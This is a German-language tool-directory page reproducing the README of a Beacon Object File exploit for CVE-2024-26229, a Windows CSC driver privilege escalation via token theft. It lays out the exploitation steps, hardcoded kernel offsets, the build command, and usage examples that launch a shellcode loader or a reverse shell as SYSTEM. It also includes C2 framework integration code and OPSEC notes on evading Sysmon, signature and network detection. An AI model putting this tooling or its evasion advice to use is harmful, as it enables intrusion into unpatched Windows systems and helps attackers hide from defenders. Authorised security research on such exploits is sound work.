Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-26229-BOF — CVE-2024-26229 Beacon Object File-Version | Kitploit
Tools/GitHubGitHub/0xgunrunner/cve-2024-26229-bof
Privilege EscalationExploitationPost-ExploitationPenetrationstestsRed TeamingPayload-EntwicklungBinary-Exploitation
GitHub0xgunrunner/cve-2024-26229-bof

CVE-2024-26229-BOF

CVE-2024-26229 Beacon Object File-Version

Repository anzeigen
5vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2024-26229 BOF

Beacon Object File-Implementierung von CVE-2024-26229 — Lokale Privilegienausweitung des Windows CSC-Treibers mittels DKOM-Token-Diebstahl.

Basiert auf RalfHacker/CVE-2024-26229-exploit, umgewandelt in BOF mit dynamischer Funktionsauflösung (DFR) zur Verwendung mit C2-Frameworks, die die Cobalt Strike BOF-API unterstützen.

Funktionsweise

  1. Öffnet \Device\Mup\;Csc\.\. über NtCreateFile, um ein Handle auf den CSC-Treiber zu erhalten
  2. Sendet IOCTL 0x001401a3 (CSC_DEV_FCB_XXX_CONTROL_FILE) mit einem präparierten Eingabepuffer, der auf KTHREAD->PreviousMode - 0x18 zeigt, und korrumpiert PreviousMode von UserMode zu KernelMode
  3. Mit PreviousMode = KernelMode kann NtWriteVirtualMemory auf beliebige Kernel-Adressen schreiben
  4. Kopiert das EPROCESS->Token des SYSTEM-Prozesses (PID 4) über das aktuelle Prozess-Token (DKOM)
  5. Stellt PreviousMode auf UserMode zurück
  6. Startet die angegebene ausführbare Datei über CreateProcessA — der Kindprozess erbt das SYSTEM-Token

Der Beacon-Prozess selbst wird nach Schritt 4 zu SYSTEM. Der gestartete Prozess ist optional — wenn CreateProcessA fehlschlägt, ist der Beacon dennoch erhöht.

Ziel

  • Betriebssystem: Windows 10 / Server 2019 (Build 19041+)
  • Voraussetzung: CSC-Treiber aktiviert (HKLM\SYSTEM\CurrentControlSet\Services\CSC → Start = 1)
  • Gepatched in: Kumulatives Update April 2024

Kernel-Offsets (hartcodiert)

OffsetWertStruktur
EPROCESS->Token0x4B8Windows 10 19041–19045 / Server 2019 17763
KTHREAD->PreviousMode0x232Windows 10 19041–19045 / Server 2019 17763

Diese Offsets sind versionsspezifisch. Wenn Sie ein anderes Build anvisieren, überprüfen Sie mit WinDbg:

dt nt!_EPROCESS Token
dt nt!_KTHREAD PreviousMode

Kompilierung

Erfordert mingw-w64 und einen beacon.h-Header, der mit Ihrem C2-Framework kompatibel ist.

x86_64-w64-mingw32-gcc -c -o cve-2024-26229.x64.o cve-2024-26229.c

Platzieren Sie die kompilierte .o-Datei in Ihrem BOF-Verzeichnis (z. B. _bin/cve-2024-26229.x64.o).

Verwendung

cve-2024-26229 --path <exe_path> [--args "<exe_args>"]

Beispiele

Einen Loader mit lokalem Shellcode starten:

cve-2024-26229 --path C:\Users\user\loader.exe --args "--munition-local C:\Users\user\payload.bin"

Eine Reverse-Shell starten:

cve-2024-26229 --path C:\Windows\System32\cmd.exe --args "/c C:\Users\user\shell.exe"

Ohne Argumente ausführen:

cve-2024-26229 --path C:\Users\user\beacon.exe

Erwartete Ausgabe

[+] System EPROCESS  = 0xffff9383f3a62040
[+] Current KTHREAD  = 0xffff9383fa4df080
[+] Current EPROCESS = 0xffff9383fa9b3080
[!] DKOM: overwriting EPROCESS->Token
[+] Token replaced -- beacon process is now SYSTEM
[+] Spawned PID 2044 as SYSTEM: C:\Users\user\loader.exe --munition-local C:\Users\user\payload.bin

AdaptixC2 / AXS-Integration

Registrieren Sie den BOF in Ihrem .axs-Erweiterungsskript:

var cmd_cve26229 = ax.create_command(
    "cve-2024-26229",
    "CVE-2024-26229 CSC driver LPE -- DKOM token theft to SYSTEM",
    "cve-2024-26229 --path C:\\loader.exe --args \"--munition-local C:\\payload.bin\""
);
cmd_cve26229.addArgFlagString("--path", "path", "Path to executable to run as SYSTEM", "");
cmd_cve26229.addArgFlagString("--args", "args", "Arguments for the executable", "");
cmd_cve26229.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {
    let path = parsed_json["path"];
    let args = parsed_json["args"];

    if (!path) {
        ax.task_output(id, "Error: --path is required");
        return;
    }

    let bof_params = ax.bof_pack("cstr,cstr", [path, args]);
    let bof_path = ax.script_dir() + "_bin/cve-2024-26229." + ax.arch(id) + ".o";

    ax.execute_alias(id, cmdline, `execute bof "${bof_path}" ${bof_params}`, "Task: CVE-2024-26229 LPE");
});

Das Argument-Packing ist cstr,cstr — zwei null-terminierte Zeichenfolgen, die den beiden BeaconDataExtract-Aufrufen im BOF entsprechen.

OPSEC-Hinweise

  • Keine Userland-Artefakte — DKOM arbeitet vollständig im Kernel-Speicher über korrumpiertes PreviousMode. Keine Dateien geschrieben, keine Dienste erstellt, keine Registrierungsänderungen.
  • Keine Netzwerk-Indikatoren — der Exploit ist rein lokal. Kombinieren Sie ihn mit einem Loader, der Shellcode von der Festplatte liest (--munition-local-Muster), anstatt über HTTP abzurufen, um netzwerkbasierte Erkennungen zu vermeiden.
  • Prozesserstellung — CreateProcessA mit CREATE_NO_WINDOW. Der gestartete Prozess erbt das SYSTEM-Token. Wenn Ihr Loader in einen anderen Prozess injiziert (z. B. svchost.exe), kann der Loader auf der Festplatte anschließend bereinigt werden.
  • Sysmon — der NtCreateFile-Aufruf an \Device\Mup\;Csc\.\. und das IOCTL werden von Standard-Sysmon-Konfigurationen normalerweise nicht protokolliert. Der CreateProcessA-Aufruf erzeugt ein standardmäßiges Process Create (Event ID 1) — stellen Sie sicher, dass Ihre gestartete Binärdatei nicht signaturbasiert erkannt wird.
  • PreviousMode-Wiederherstellung — der BOF stellt PreviousMode nach dem Token-Kopieren auf UserMode zurück. Der Beacon-Prozess funktioniert nach der Ausnutzung normal weiter.

Einschränkungen

  • Nur x64 — hartcodierte Offsets und Pointer-Arithmetik setzen 64-Bit voraus
  • Offsets sind buildspezifisch — die hartcodierten Werte für EPROCESS->Token (0x4B8) und KTHREAD->PreviousMode (0x232) gelten für Windows 10 19041–19045 und Server 2019 17763. Andere Builds erfordern möglicherweise Anpassungen.
  • CSC-Treiber muss aktiviert sein — überprüfen Sie sc query csc oder die Registrierung HKLM\SYSTEM\CurrentControlSet\Services\CSC (Start = 1). Der Treiber ist standardmäßig auf Workstations aktiviert, kann aber auf Servern deaktiviert sein.
  • Einmalige Nutzung pro Prozess — der DKOM modifiziert das eigene EPROCESS-Token des Beacons. Ein zweimaliges Ausführen des BOF im selben Beacon ist redundant (bereits SYSTEM).

Danksagungen

  • RalfHacker — ursprünglicher eigenständiger Exploit
  • Natel — Tests und Überprüfung

Referenzen

  • CVE-2024-26229 — MITRE
  • Microsoft-Sicherheitshinweis

Rechtlicher Hinweis

Dieses Tool ist ausschließlich für autorisierte Penetrationstests und Sicherheitsforschung bestimmt.

Die Nutzung dieses Tools gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche schriftliche Genehmigung zum Testen haben, ist nach vietnamesischem Recht illegal, einschließlich, aber nicht beschränkt auf:

  • Luật An toàn thông tin mạng 2015 (Gesetz zur Netzwerkinformationssicherheit, Nr. 86/2015/QH13) — verbietet unbefugten Zugriff auf Informationssysteme
  • Bộ luật Hình sự 2015, sửa đổi 2017 (Strafgesetzbuch, Artikel 225–226) — stellt unbefugtes Eindringen in Computernetzwerke und Datenvernichtung unter Strafe

Dieses Tool wird ausschließlich zu Bildungszwecken bereitgestellt. Der Autor übernimmt keine Haftung für Missbrauch. Sie sind allein dafür verantwortlich, dass Ihre Nutzung allen geltenden lokalen, nationalen und internationalen Gesetzen entspricht.

Durch die Nutzung dieses Tools bestätigen Sie, dass Sie vor jeder Testaktivität die ordnungsgemäße Genehmigung des Systembesitzers eingeholt haben.

Tool herunterladen